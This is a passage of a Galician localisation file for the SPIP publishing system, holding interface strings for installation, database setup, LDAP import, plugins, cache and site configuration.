'info_procedure_maj_version' => 'o procedemento da posta ó día ten que ser lanzado a fin
de adaptar a base de datos á nova versión de SPIP.',
'info_proxy_ok' => 'Test de proxy logrado.',
'info_ps' => 'PS.',
'info_publier' => 'publicar',
'info_publies' => 'Os teus artigos publicados en liña',
'info_question_accepter_visiteurs' => 'Se os esqueletos do seu web prevén o rexistro de visitantes sen acceso á parte web privada, active a opción aquí abaixo :',
'info_question_inscription_nouveaux_redacteurs' => 'Aceptará as inscricións de novos redactores
desde o web público? De aceptalos, os visitantes poderanse rexistrar cun
formulario automatizado e accederán ao espazo privado para
propor os seus propios artigos.<blockquote> <i>Trala fase de inscrición,
os usuarios recibirán un correo electrónico automático
cos seus códigos de acceso ao web privado. Algúns
provedores desactivan o envío automático desde os seus servidores:
nese caso, a inscrición automática é imposible.</i></blockquote>', # MODIF
'info_question_utilisation_moteur_recherche' => 'Quere empregar o motor de procura integrado en SPIP?
(desactivalo acelera o funcionamento do sistema.)',
'info_question_vignettes_referer_non' => 'Non mostrar as capturas de webs de orixe das visitas',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Raíz do web',
'info_recharger_page' => 'Recarga a páxina nuns intres.',
'info_recherche_auteur_a_affiner' => 'Resultados de máis para "@cherche_auteur@"; por favor, afine a súa procura.',
'info_recherche_auteur_ok' => 'Atopou.se máis dunha persoa para "@cherche_auteur@":',
'info_recherche_auteur_zero' => '<b>Ningún resultado para "@cherche_auteur@".',
'info_recommencer' => 'Volta empezar.',
'info_redacteur_1' => 'Redactor/a',
'info_redacteur_2' => 'que teñan acceso ó espazo privado (<i>recomendado</i>)',
'info_redacteurs' => 'Redacción',
'info_redaction_en_cours' => 'EN PROCESO DE REDACCIÓN',
'info_redirection' => 'Redirección',
'info_refuses' => 'Os teus artigos rexeitados',
'info_reglage_ldap' => 'Opcións: <b>Axustes da importación LDAP</b>',
'info_renvoi_article' => '<b>Redirección.</b> Este artigo reenví á páxina:',
'info_reserve_admin' => 'Só o equipo de xestión pode modificar este enderezo.',
'info_restreindre_rubrique' => 'Restrinxir a xestión ó tema:',
'info_resultat_recherche' => 'Resultados da procura:',
'info_rubriques' => 'temas',
'info_rubriques_02' => 'temas',
'info_rubriques_trouvees' => 'Temas atopados',
'info_rubriques_trouvees_dans_texte' => 'Temas atopados (no texto)',
'info_sans_titre' => 'Sen título',
'info_selection_chemin_acces' => '<b>Selecciona</b> aquí a vía de acceso á guía:',
'info_signatures' => 'sinaturas',
'info_site' => 'Web',
'info_site_2' => 'web:',
'info_site_min' => 'web',
'info_site_reference_2' => 'Web referido/referenciado',
'info_site_web' => 'WEB:', # MODIF
'info_sites' => 'sitios',
'info_sites_lies_mot' => 'Os webs referidos ligados a esta palabra chave',
'info_sites_proxy' => 'Empregar un proxy',
'info_sites_trouves' => 'Webs atopados',
'info_sites_trouves_dans_texte' => 'Webs atopados (no texto)',
'info_sous_titre' => 'Subtítulo:',
'info_statut_administrateur' => 'Equipo de xestión',
'info_statut_auteur' => 'Categoría deste autor:',
'info_statut_auteur_a_confirmer' => 'Inscrición para confirmar',
'info_statut_auteur_autre' => 'Outro estatuto :',
'info_statut_efface' => 'Eliminado',
'info_statut_redacteur' => 'Redactor/a',
'info_statut_utilisateurs_1' => 'Categoría por defecto de redactores importados',
'info_statut_utilisateurs_2' => 'Escolla a categoría que han ter as persoas presentes na guía LDAP cando se conecten por primeira vez. Máis tarde poderás trocar este valor caso por caso.',
'info_suivi_activite' => 'Seguimento da actividade editorial',
'info_surtitre' => 'Sobretítulo:',
'info_syndication_integrale_1' => 'O seu web propón ficheiros de subscrición (ver « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'Quere transmitir os seus artigos íntegros, ou non difundir máis ca un resumo dalgúns centos de carácteres ?',
'info_table_prefix' => 'Pode modificarse o prefixo do nome das táboas da base de datos (iso é imprescindible só cando se quere instalar varios spip na mesma base de datos). Este prefixo debe escribirse unicamente con letras minúsculas e sen acentos nin espazos en branco.',
'info_taille_maximale_images' => 'SPIP testará o tamaño máximo das imaxes que pode tratar (en millóns de píxels).<br /> As imaxes maiores non serán reducidas.',
'info_taille_maximale_vignette' => 'Tamaño máximo das viñetas xeradas polo sistema:',
'info_terminer_installation' => 'Agora podes rematar o proceso de instalación estándar.',
'info_texte' => 'Texto',
'info_texte_explicatif' => 'Texto explicativo',
'info_texte_long' => '(o texto é moi longo: así pois, aparecerá en varias partes que serán recompostas trala validación.)',
'info_texte_message' => 'Texto da súa mensaxe:', # MODIF
'info_texte_message_02' => 'Texto da mensaxe',
'info_titre' => 'Título:',
'info_total' => 'total:',
'info_tous_articles_en_redaction' => 'Todo os artigos en proceso de redacción',
'info_tous_articles_presents' => 'Todos os artigos publicados neste tema',
'info_tous_articles_refuses' => 'Todos os artigos foron rexeitados',
'info_tous_les' => 'todos os:',
'info_tous_redacteurs' => 'Anuncios a toda a redacción',
'info_tout_site' => 'Todo o web',
'info_tout_site2' => 'O artigo non foi traducido nesta lingua.',
'info_tout_site3' => 'O artigo foi traducido nesta lingua, pero as modificacións foron aplicadas polo momento ao artigo de referencia. A tradución debe ser actualizada.',
'info_tout_site4' => 'O artigo foi traducido nesta lingua e a tradución está actualizada.',
'info_tout_site5' => 'Artigo orixinal.',
'info_tout_site6' => '<b>Atención :</b> só os artigos orixinais son amosados.
As traducións son asociadas ao orixinal,
cunha cor que indica o seu estado :',
'info_traductions' => 'Traducións',
'info_travail_colaboratif' => 'Traballo de colaboración nos artigos',
'info_un_article' => 'un artigo,',
'info_un_site' => 'un web,',
'info_une_rubrique' => 'un tema,',
'info_une_rubrique_02' => '1 tema',
'info_url' => 'URL:',
'info_url_proxy' => 'URL do proxy',
'info_url_site' => 'URL DO WEB :',
'info_url_test_proxy' => 'URL de test',
'info_urlref' => 'Ligazón de hipertexto :',
'info_utilisation_spip' => 'Agora podes comezar a usar o sistema de publicación asistida...',
'info_visites_par_mois' => 'Ordear por mes:',
'info_visiteur_1' => 'Visitante',
'info_visiteur_2' => 'do web público',
'info_visiteurs' => 'Visitantes',
'info_visiteurs_02' => 'Visitantes do web público',
'info_webmestre_forces' => 'Os/as webmásters actuais están definidos en <tt>@file_options@</tt>.',
'install_adresse_base_hebergeur' => 'Enderezo da base de datos atribuída polo aloxador',
'install_base_ok' => 'A base @base@ foi recoñecida',
'install_connect_ok' => 'A nova base está correctamente declarada co nome do servidor @connect@.',
'install_echec_annonce' => 'A instalación probabelmente vai pechar ou lanzar un sitio non funcional...',
'install_extension_mbstring' => 'SPIP non funnciona con :',
'install_extension_php_obligatoire' => 'SPIP exixe a extensión php :',
'install_login_base_hebergeur' => 'Login de conexión atribuído polo aloxador',
'install_nom_base_hebergeur' => 'Nome da base atribuída polo aloxador :',
'install_pas_table' => 'Base actualemente sen táboas',
'install_pass_base_hebergeur' => 'Chave de conexión atribuída polo aloxador',
'install_php_version' => 'Versión de PHP @version@ insuficiente (mínima = @minimum@)',
'install_select_langue' => 'Selecciona un idioma e preme o botón «seguinte» para comezar co proceso de instalación.',
'install_select_type_db' => 'Indique o tipo de base de datos :',
'install_select_type_mysql' => 'MySQL',
'install_select_type_pg' => 'PostgreSQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Servidor da base de datos atribuída polo aloxador',
'install_table_prefix_hebergeur' => 'Prefixo de táboa atribuído polo aloxador :',
'install_tables_base' => 'Táboas da base',
'install_types_db_connus' => 'SPIP pode utilizar <b>MySQL</b> (o máis maioritario), <b>PostgreSQL</b> e <b>SQLite</b>.', # MODIF
'install_types_db_connus_avertissement' => 'Atención : certos módulos (plugins) non funcionan senón con MySQL', # MODIF
'intem_redacteur' => 'redactor/a',
'intitule_licence' => 'Licenza',
'item_accepter_inscriptions' => 'Aceptar as inscricións',
'item_activer_messages_avertissement' => 'Activar as mensaxes de aviso',
'item_administrateur_2' => 'Equipo de xestión',
'item_afficher_calendrier' => 'Mostrar no calendario',
'item_autoriser_documents_joints' => 'Autorizar os documentos adxuntos cos artigos',
'item_autoriser_documents_joints_rubriques' => 'Autorizar os documentos nos temas',
'item_autoriser_syndication_integrale' => 'Difundir integramente os artigos nos ficheiros de subscrición',
'item_choix_administrateurs' => 'o equipo de xestión',
'item_choix_generation_miniature' => 'Crear automaticamente as miniaturas das imaxes.',
'item_choix_non_generation_miniature' => 'Non crear miniaturas das imaxes.',
'item_choix_redacteurs' => 'o equipo de redacción',
'item_choix_visiteurs' => 'as visitas do web público',
'item_creer_fichiers_authent' => 'Crear os ficheiros «.htpasswd»',
'item_limiter_recherche' => 'Limitar a procura ás informacións contidas neste web',
'item_login' => 'Identificador',
'item_messagerie_agenda' => 'Activar a mensaxería e a axenda',
'item_mots_cles_association_articles' => 'ós artigos',
'item_mots_cles_association_rubriques' => 'ós temas',
'item_mots_cles_association_sites' => 'aos webs referidos ou afiliados.',
'item_non' => 'Non',
'item_non_accepter_inscriptions' => 'Non aceptar as inscricións',
'item_non_activer_messages_avertissement' => 'Sen mensaxes de aviso',
'item_non_afficher_calendrier' => 'Non mostrar no calendario',
'item_non_autoriser_documents_joints' => 'Non permitir documentos nos artigos',
'item_non_autoriser_documents_joints_rubriques' => 'Non permitir documentos nos temas',
'item_non_autoriser_syndication_integrale' => 'Non difundir senón un resumo',
'item_non_compresseur' => 'Desactivar a compactación',
'item_non_creer_fichiers_authent' => 'Non crear estes ficheiros',
'item_non_gerer_statistiques' => 'Non xestionar as estatísticas',
'item_non_limiter_recherche' => 'Estender a procura ó contido dos webs referidos',
'item_non_messagerie_agenda' => 'Desactivar a mensaxería e a axenda',
'item_non_publier_articles' => 'Non publicar os artigos antes da data de publicación fixada.',
'item_non_utiliser_moteur_recherche' => 'Non usar o motor',
'item_nouvel_auteur' => 'Novo/a autor/a',
'item_nouvelle_rubrique' => 'Novo tema',
'item_oui' => 'Sí',
'item_publier_articles' => 'Publicar os artigos, sen importar a súa data de publicación.',
'item_reponse_article' => 'Resposta ó artigo',
'item_utiliser_moteur_recherche' => 'Empregar o motor de procura',
'item_version_html_max_html4' => 'Limitarse ao HTML4 sobre o sitio público',
'item_version_html_max_html5' => 'Permitir o HTML5',
'item_visiteur' => 'visitante',
// J
'jour_non_connu_nc' => 'non consta',
// L
'label_bando_outils' => 'Barra de ferramentas',
'label_bando_outils_afficher' => 'Presentar as ferramentas',
'label_bando_outils_masquer' => 'Agochas as ferramentas',
'label_choix_langue' => 'Seleccione o seu idioma',
'label_nom_fichier_connect' => 'Indique o nome utilizado polo servidor',
'label_slogan_site' => 'Lema do sitio',
'label_taille_ecran' => 'Largura de pantalla',
'label_texte_et_icones_navigation' => 'Menú de navegación',
'label_texte_et_icones_page' => 'Presentación na páxina',
'ldap_correspondance' => 'herdanza do campo @champ@',
'ldap_correspondance_1' => 'Herdanza dos campos LDAP',
'ldap_correspondance_2' => 'Para cadanseu campo SPIP, indique o nome do campo LDAP correspondente. Deixe baleiro para non os cubrir, separar por espazos ou comas para probar varios campos LDAP.',
'lien_ajout_destinataire' => 'Engadir destinatari@',
'lien_ajouter_auteur' => 'Engadir autor/a',
'lien_ajouter_participant' => 'Engadir participante',
'lien_email' => 'correo-e.',
'lien_nom_site' => 'NOME DO WEB:',
'lien_retirer_auteur' => 'Retirar esta persoa',
'lien_retirer_tous_auteurs' => 'Retirar todos os autores',
'lien_retrait_particpant' => 'retirar participante',
'lien_site' => 'web',
'lien_supprimer_rubrique' => 'Suprimir este tema',
'lien_tout_deplier' => 'Despregalo todo',
'lien_tout_replier' => 'Repregalo todo',
'lien_tout_supprimer' => 'Suprimir todo',
'lien_trier_nom' => 'Ordear por nome',
'lien_trier_nombre_articles' => 'Ordear por número de artigos',
'lien_trier_statut' => 'Ordear por categoría',
'lien_voir_en_ligne' => 'VER EN LIÑA:',
'logo_article' => 'LOGO DO ARTIGO', # MODIF
'logo_auteur' => 'LOGO DESTA PERSOA', # MODIF
'logo_rubrique' => 'LOGO DO TEMA', # MODIF
'logo_site' => 'LOGO DESTE WEB', # MODIF
'logo_standard_rubrique' => 'LOGO ESTANDAR DOS TEMAS', # MODIF
'logo_survol' => 'LOGO DE INTERCAMBIO', # MODIF
// M
'menu_aide_installation_choix_base' => 'Elixe a túa base',
'module_fichier_langue' => 'Ficheiro de lingua',
'module_raccourci' => 'Recurso',
'module_texte_affiche' => 'Texto fixado',
'module_texte_explicatif' => 'Pode inserir os recursos seguintes dentro dos esqueletos do seu web público. Serán automaticamente traducidos ás diferentes linguas para as que existe un ficheiro de lingua.',
'module_texte_traduction' => 'O ficheiro de lingua « @module@ » está dispoñible en :',
'mois_non_connu' => 'descoñecido',
// N
'nouvelle_version_spip' => 'A versión @version@ de SPIP está dispoñible',
// O
'onglet_contenu' => 'Contido',
'onglet_declarer_une_autre_base' => 'Declarar algunha outra base de datos',
'onglet_discuter' => 'Discutir',
'onglet_documents' => 'Documentos',
'onglet_interactivite' => 'Interactividade',
'onglet_proprietes' => 'Propiedades',
'onglet_repartition_actuelle' => 'actualmente',
'onglet_sous_rubriques' => 'Subseccións',
// P
'page_pas_proxy' => 'Esta páxina non debe pasar por un proxy',
'pas_de_proxy_pour' => 'Segundo a súa necesidade, indique as máquinas ou dominios para os cales este proxy non debe ser aplicado (por exemplo : @exemple@)',
'plugin_charge_paquet' => 'Carga do paquete @name@',
'plugin_charger' => 'Descargar',
'plugin_erreur_charger' => 'erro : resulta imposible cargar @zip@',
'plugin_erreur_droit1' => 'O cartafol <code>@dest@</code> non é accesible para escritura.',
'plugin_erreur_droit2' => 'Verifique os dereitos deste cartafol (e crealos (no caso de ser necesario), ou instalar o ficheiros por FTP.',
'plugin_erreur_zip' => 'echec pclzip : erro @status@',
'plugin_etat_developpement' => 'en desenvolvemento',
'plugin_etat_experimental' => 'experimental',
'plugin_etat_stable' => 'estábel',
'plugin_etat_test' => 'en test',
'plugin_impossible_activer' => 'Resulta imposible activar o plugin @plugin@',
'plugin_info_automatique1' => 'Se quere autorizar a instalación automática de módulos (plugins) :',
'plugin_info_automatique1_lib' => 'Se desexa autorizar a instalación automática desta biblioteca, vexa :',
'plugin_info_automatique2' => 'Crear un cartafol <code>@rep@</code> ;',
'plugin_info_automatique3' => 'verificar que o servidor ten permisos para escribir neste cartafol.',
'plugin_info_automatique_creer' => 'crear na raíz do web.',
'plugin_info_automatique_exemples' => 'exemplos :',
'plugin_info_automatique_ftp' => 'Pode instalar os módulos, por FTP, no cartafol <tt>@rep@</tt>',
'plugin_info_automatique_lib' => 'Certos módulos necesitan tamén poder descargar no cartafol <code>lib/</code>, que deberá ser creado se for preciso na raíz no web.',
'plugin_info_automatique_liste' => 'A súa listaxe de módulos :',
'plugin_info_automatique_liste_officielle' => 'os módulos oficiais',
'plugin_info_automatique_liste_update' => 'Actualizar as listaxes',
'plugin_info_automatique_ou' => 'ou...',
'plugin_info_automatique_select' => 'Seleccione a seguir un módulo : SPIP descargarao e instalarao no cartafol <code>@rep@</code> ; si o módulo xa existe será actualizado.',
'plugin_info_plugins_dist_1' => 'As extensións seguintes cárganse e actívanse no cartafol @plugins_dist@.', # MODIF
'plugin_info_plugins_dist_2' => 'Non son desactivables', # MODIF
'plugin_info_telecharger' => 'descargar desde @url@ e instalalo no cartafol @rep@',
'plugin_librairies_installees' => 'Librarías instaladas',
'plugin_necessite_lib' => 'Este módulo necesita a libraría @lib@',
'plugin_necessite_plugin' => 'Necesita o plugin @plugin@ na súa version @version@ mínimo.',
'plugin_necessite_spip' => 'Necesita SPIP na súa versión @version@ como mínimo.',
'plugin_source' => 'fonte: ',
'plugin_titre_automatique' => 'Instalación automática',
'plugin_titre_automatique_ajouter' => 'Engadir módulos',
'plugin_titre_installation' => 'Instalación do módulo @plugin@',
'plugin_zip_active' => 'Continúe para activalo',
'plugin_zip_adresse' => 'indique seguidamente o enderezo dun ficheiro zip de módulo para descargar, ou mesmo o enderezo dunha lista de módulos (plugins).',
'plugin_zip_adresse_champ' => 'Enderezo do módulo ou da listaxe ',
'plugin_zip_content' => 'contén os ficheiros seguintes (@taille@),<br />listos para instalasr no cartafol <code>@rep@</code>',
'plugin_zip_installe_finie' => 'O ficheiro @zip@ foi descomprimido e instalado.',
'plugin_zip_installe_rep_finie' => 'O ficheiro @zip@ foi descomprimido e instalado no cartafol @rep@',
'plugin_zip_installer' => 'Agora pódeo instalar.',
'plugin_zip_telecharge' => 'O ficheiro @zip@ foi descargado',
'plugins_actif_aucun' => 'Non hai ningún módulo activado.',
'plugins_actif_un' => 'Activouse un módulo.',
'plugins_actifs' => '@count@ módulos activados.',
'plugins_actifs_liste' => 'Módulos activos', # MODIF
'plugins_compte' => '@count@ módulos',
'plugins_disponible_un' => 'Un módulo dispoñible',
'plugins_disponibles' => '@count@ módulos dispoñibles.',
'plugins_erreur' => 'Erro nos módulos : @plugins@',
'plugins_liste' => 'Lista de módulos',
'plugins_liste_dist' => 'Extensións', # MODIF
'plugins_recents' => 'Módulos recentes.',
'plugins_vue_hierarchie' => 'Xerarquía',
'plugins_vue_liste' => 'Listaxe',
'protocole_ldap' => 'Versión do protocolo :',
// Q
'queue_executer_maintenant' => 'Executar as tarefas de mantemento',
'queue_nb_jobs_in_queue' => '@nb@ traballos en agarda',
'queue_next_job_in_nb_sec' => 'Próximo traballo en @nb@ s',
'queue_one_job_in_queue' => '1 traballo en agarda',
'queue_purger_queue' => 'Purgar a lista de traballos', # MODIF
'queue_titre' => 'Lista de traballos', # MODIF
// R
'repertoire_plugins' => 'Repertorio :',
// S
'sans_heure' => 'sen hora',
'statut_admin_restreint' => '(admin restrinxido)', # MODIF
// T
'taille_cache_image' => 'As imaxes calculadas automaticamente por SPIP (viñetas dos documentos, títulos presentados so a forma gráfica, funcións matemáticas en formato TeX...) ocupan no directorio @dir@ un total de @taille@.',
'taille_cache_infinie' => 'Neste web non se preveu limitación de tamaño do directorio da memoria caché.',
'taille_cache_maxi' => 'SPIP está a tentar limitar o tamaño do directorio da caché deste web en volta de <b>@octets@</b> de datos.',
'taille_cache_octets' => 'O tamaño da caché é actualmente de @octets@.', # MODIF
'taille_cache_vide' => 'A caché está baleira',
'taille_repertoire_cache' => 'Tamaño do directorio de memoria caché',
'text_article_propose_publication' => 'Artigo proposto para publicación.',
'texte_acces_ldap_anonyme_1' => 'Algúns servidores LDAP non aceptan ningún acceso anónimo. En tal caso hai que especificar un identificador de acceso inicial para poder procurar informacións na guía. Na meirande parte dos casos poderás deixar os seguintes campos baleiros.',
'texte_admin_effacer_01' => 'Este comando elimina <i>todo</i> o contido da base de datos,
incluindo <i>todos</i> os accesos dos equipos de xestión e de redacción.
Logo de executa.lo, terás que lanzar de novo a instalación do SPIP para crear unha
nova base e un novo acceso de administración.',
'texte_adresse_annuaire_1' => '(Se a súa guía/directorio foi aloxada na mesma máquina ca este
web, seguramente será «localhost».)',
'texte_ajout_auteur' => '@ seguinte autor/a foi engadido ao artigo:',
'texte_annuaire_ldap_1' => 'Se ten acceso a unha guía (LDAP), pódea empregar para importar
automaticamente usuarios con SPIP.',
'texte_article_statut' => 'Este artigo está:',
'texte_article_virtuel' => 'Artigo virtual',
'texte_article_virtuel_reference' => '<b>Artigo virtual:</b> artigo referido no teu web SPIP,
mais redirixido cara a outro URL. Para eliminar a redirección, elimina o URL aquí.',
'texte_aucun_resultat_auteur' => 'Ningún resultado de "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Este web pode indicar permanentemente a lista de redactores que están conectados nun intre, o que lle permite intercambiar mensaxes en directo (cando a mensaxería habilitada). Pode decidir non aparecer nesta lista (será «invisible» para os demais).',
'texte_auteur_messagerie_1' => 'Este web permite o intercambio de mensaxes e a constitución de foros de discusión privados entre os participantes do web. Pode decidir non participar nestes parladoiros.',
'texte_auteurs' => 'A AUTORÍA',
'texte_choix_base_1' => 'Elixe a túa base:',
'texte_choix_base_2' => 'O servidor SQL contén varias bases de datos.',
'texte_choix_base_3' => '<b>Seleccione</b> aquí a que lle dese o seu provedor:',
'texte_choix_table_prefix' => 'Prefixo das táboas :',
'texte_commande_vider_tables_indexation' => 'empregue este comando para baleirar as táboas
de indexado empregadas polo motor de procura integrado no Spip.
Isto permite gañar espazo en disco.',
'texte_compatibilite_html' => 'Pode pedir que SPIP produza, no sitio público, código compatible coa norma <i>HTML4</i>, ou permitirlle utilizar as posibilidades máis modernas do <i>HTML5</i>.',
'texte_compatibilite_html_attention' => 'Non hai ningún risco ao activar a opción <i>HTML5</i>, pero se o fai, as páxinas do seu sitio deberán comezar pola seguinte mención para seren correctas : <code><!DOCTYPE html></code>.',
'texte_compresse_ou_non' => '(comprimido ou non)',
'texte_compte_element' => '@count@ elemento',
'texte_compte_elements' => '@count@ elementos',
'texte_conflit_edition_correction' => 'Controle a seguir as diferenzas entre as dúas versións do texto; pode tamén copiar as súas modificacións e volver comezar.',
'texte_connexion_mysql' => 'Consulte os datos que lle proporcionou o seu aloxador: deberá encontrar aí o servidor de bases de datos do que dispón e os identificadores para conectar con el (claves de conexión).',
'texte_contenu_article' => '(Contido do artigo en poucas palabras.)',
'texte_contenu_articles' => 'Dependendo da maquetación adoptada para o seu web, pode decidir
non empregar certos elementos dos artigos. Use esta lista para indicar cales serán os elementos dispoñibles.',
'texte_crash_base' => 'Se a base de datos ten algún problema, podes tentar unha reparación automática.',
'texte_creer_rubrique' => 'Antes de poder escribir artigos<br/>, ten que crear un tema ou sección.',
'texte_date_creation_article' => 'DATA DE CREACIÓN DO ARTIGO',
'texte_date_publication_anterieure' => 'Data de redacción anterior :',
'texte_date_publication_anterieure_nonaffichee' => 'Non mostrar data de redacción anterior.',
'texte_date_publication_article' => 'DATA DE PUBLICACIÓN EN LIÑA :',
'texte_descriptif_petition' => 'Descrición da petición',
'texte_descriptif_rapide' => 'Descrición rápida',
'texte_effacer_base' => 'Eliminar a base de datos SPIP',
'texte_effacer_donnees_indexation' => 'Eliminar os datos de indexación',
'texte_effacer_statistiques' => 'Borrar as estatísticas',
'texte_en_cours_validation' => 'Os artigos e as breves de aquí embaixo foron propostos para a súa publicación.', # MODIF
'texte_enrichir_mise_a_jour' => 'Pódese mellorar a presentación do texto empregando os «atallos tipográficos».',
'texte_fichier_authent' => '<b>SPIP ten que crear os ficheiros especiais <tt>.htpasswd</tt>
e <tt>.htpasswd-admin</tt> no cartafol @dossier@?</b><p>
Estes ficheiros pódenlle servir para restrinxir o acceso, tanto aos autores
coma aos administradores a outras partes do seu web (ao programa
externo de estatísticas, por exemplo).</p><p>
Se non o utiliza, pode deixar esta opción
co seu valor predeterminado (non crear
estes ficheiros).</p>', # MODIF
'texte_informations_personnelles_1' => 'O sistema vaiche crear agora un acceso personalizado ao web',
'texte_informations_personnelles_2' => '(Nota: se se trata dunha reinstalación, e o teu acceso vai sen atrancos, podes', # MODIF
'texte_introductif_article' => '(Texto introdutorio do artigo.)',
'texte_jeu_caractere' => 'Aconséllase empregar, no seu web, o alfabeto universal (<tt>utf-8</tt>) : isto permite mostrar textos en todas as linguas, e non presenta problemas de compatibilidade cos navegadores modernos.',
'texte_jeu_caractere_2' => 'Atención : este axuste non ten efecto retroactivo. Daquela, non se produce a conversión dos textos xa rexistrados na base de datos.',
'texte_jeu_caractere_3' => 'O seu web está actualmente instalado co xogo de carácteres :',
'texte_jeu_caractere_4' => 'Se iso non corresponde coa realidade dos seus datos (logo, por exemplo, dunha restauración da base de datos), ou se <em>vostede principia neste web</em> e quere partir doutro xogo de carácteres, indíqueo por favor aquí :',
'texte_jeu_caractere_conversion' => 'Nota : pode decidir converter dunha soa vez o conxunto dos texto do seu web (artigos, breves, foros, etc.) ao alfabeto <tt>utf-8</tt>, se accede en <a href="@url@">á páxina de conversión a utf-8</a>.',
'texte_lien_hypertexte' => '(Se a súa mensaxe se refire a un artigo publicado no web, ou a
unha páxina con que forneza máis información, indica aquí o título da páxina e o seu enderezo URL.)',
'texte_login_ldap_1' => '(Deixar baleiro para un acceso anónimo, ou poñer a vía completa,
por exemplo «<tt>uid=maricarmen, ou=users, dc=meu-dominio, dc=com</tt>».)',
'texte_login_precaution' => 'Atención! Este é o identificador co que se conectou.
Empregue este formulario con precaución...',
'texte_message_edit' => 'Atención: esta mensaxe pode ser modificada por calquera dos xestores,
e será visible para todo o equipo de redacción. Use os anuncios só para avisar
de eventos importantes da vida do web.',
'texte_messagerie_agenda' => 'A mensaxería permítelles aos redactores do web comunicarse entre eles directamente no espazo privado do web. Está asociado a unha axenda.',
'texte_mise_a_niveau_base_1' => 'Acaba de por ao día os ficheiros do SPIP.
Agora ten que actualizar a base de datos do web.',
'texte_modifier_article' => 'Modificar o artigo:',
'texte_moteur_recherche_active' => '<b>O motor de procuras está activado.</b> emprégueo
cando queira proceder a un reindexado rápido (trala restauración dunha copia de seguridade,
por exemplo). Saiba que os documentos modificados de xeito normal
(dende a interface do SPIP) son reindexados automaticamente:
este comando só é útil excepcionalmente.',
'texte_moteur_recherche_non_active' => 'O motor de procura non está activado.',
'texte_multilinguisme' => 'Se desexa crear artigos en varias linguas, cunha navegación complexa, pode engadir un menú de selección da lingua dos artigos e/ou das seccións, en función da organización do seu web.', # MODIF
'texte_multilinguisme_trad' => 'Pode igualmente activar un sistema de xestión de ligazóns entre as diferentes traducións dun artigo.', # MODIF
'texte_non_compresse' => '<i>non comprimido</i> (o teu servidor non soporta esta funcionalidade)',
'texte_nouveau_message' => 'Nova mensaxe',
'texte_nouvelle_version_spip_1' => 'Instalaches unha nova versión de SPIP.',
'texte_nouvelle_version_spip_2' => 'Esta nova versión precisa unha posta ao día máis completa que a habitual. De seres webmáster do web, elimine o ficheiro @connect@ e retome a instalación para poñer ao día os parámetros de conexión á base de datos.<p> (NB. : se esqueceu os parámetros de conexión, bótelle un ollo ao ficheiro @connect@ antes de borralo...)</p>',
'texte_operation_echec' => 'Volve á páxina anterior, selecciona outra base ou crea unha nova. Verifica a información que che dera o teu aloxador.',
'texte_plus_trois_car' => 'máis de 3 caracteres',
'texte_plusieurs_articles' => 'Atopáron.se varias entradas para "@cherche_auteur@":',
'texte_port_annuaire' => '(En xeral, convén poñer o valor indicado por defecto.)',
'texte_presente_plugin' => 'Esta páxina lista os módulos dispoñibles no web. Pode activar os módulos necesarios marcando a caixa correspondente.',
'texte_proposer_publication' => 'Cando remate o seu artigo,<br />pode propor que sexa publicado.',
'texte_proxy' => 'Nalgúns casos (intranet, redes protexidas...), os webs distantes (documentación de SPIP, webs afiliados, etc. ) non son accesibles se non é por medio dun <i>proxy HTTP</i>. Chegado o caso, indique aquí embaixo o seu enderezo, no formato @proxy_en_cours@.
En xeral, deixará; esta caixa baleira.',
'texte_publication_articles_post_dates' => 'Que comportamento debe adoptar o SPIP cos artigos nos
que a data de publicación foi fixada no futuro?',
'texte_rappel_selection_champs' => '[Lembre seleccionar correctamente este campo.]',
'texte_recalcul_page' => 'Se quere recalcular unha soa páxina, vaia millor polo espazo público e empregue o botón «recargar».',
'texte_recapitiule_liste_documents' => 'Esta páxina recolle a lista dos documentos introducidos nos temas. Para modificar as informacións de cada documento, siga a ligazón cara á páxina de tal tema.',
'texte_recuperer_base' => 'Reparar a base de datos',
'texte_reference_mais_redirige' => 'artigo referido no seu web SPIP, mais redirixido cara a outro URL.',
'texte_requetes_echouent' => '<b>Cando algunhas peticións SQL fallan
sistematicamente e sen razón aparente, é posible
que a causa sexa a propia base de datos.
</b><p>
SQL ten unha opción de reparación das
táboas cando estas foron danadas por accidente.
Aí pode tentar esta reparación; en caso de fallo, garde unha copia do resultado, que pode que conteña indicios do que non vai ben...<p>
Se o problema persiste, póñase en contacto co seu provedor de aloxamento.<p>',
'texte_selection_langue_principale' => 'Pode seleccionar aquí embaixo a «lingua principal» do web. Esta elección non obriga (malo sería!) a escribir os artigos no idioma seleccionado, mais permite determinar:
<ul><li>o formato por defecto das datas no web público;</li>
<li>a natureza do motor tipográfico que SPIP ten que empregar para a reprodución dos textos;</li>
<li>a lingua empregada nos formularios do web público;</li>
<li>a lingua presentada por defecto no espazo privado.</li></ul>',
'texte_sous_titre' => 'Subtítulo',
'texte_statistiques_visites' => '(barras escuras: domingo / curva escura: evolución da media)',
'texte_statut_attente_validation' => 'agardando pola validación',
'texte_statut_publies' => 'publicados en liña',
'texte_statut_refuses' => 'rexeitados',
'texte_suppression_fichiers' => 'Empregue este comando para suprimir todos os ficheiros presentes
na caché do Spip. Isto permite, por exemplo, forzar un novo cálculo de todas as páxinas cando se fagan
grandes cambios gráficos ou de estrutura do web.',
'texte_sur_titre' => 'Sobretítulo',
'texte_table_ok' => ': esta táboa está ben.',
'texte_tables_indexation_vides' => 'As táboas de indexación do motor están baleiras.',
'texte_tentative_recuperation' => 'Tentativa de reparación',
'texte_tenter_reparation' => 'Tentar unha reparación da base de datos',
'texte_test_proxy' => 'Para probar o proxy, indique o enderezo do web que queira testear.',
'texte_titre_02' => 'Título:',
'texte_titre_obligatoire' => '<b>Título</b> [Obrigado]',
'texte_travail_article' => '@nom_auteur_modif@ traballou neste artigo hai @date_diff@ minutos',
'texte_travail_collaboratif' => 'Se é habitual que varias persoas traballen nun
artigo ao mesmo tempo, o sistema pode mostrar os artigos
«abertos» recentemente, por mor de evitar as
modificacións simultáneas. Esta opción está
desactivada por defecto para evitar mostrar mensaxes de aviso intempestivas.',
'texte_trop_resultats_auteurs' => 'Resultados de máis para "@cherche_auteur@"; por favor, afine a procura.',
'texte_unpack' => 'descarga da última versión',
'texte_utilisation_moteur_syndiques' => 'Cando emprega o motor de procura integrado
no SPIP, pode efectuar as procuras nos webs e nos artigos afiliados
de dous xeitos diferentes.
<br />- O máis
sinxelo consiste en buscar só
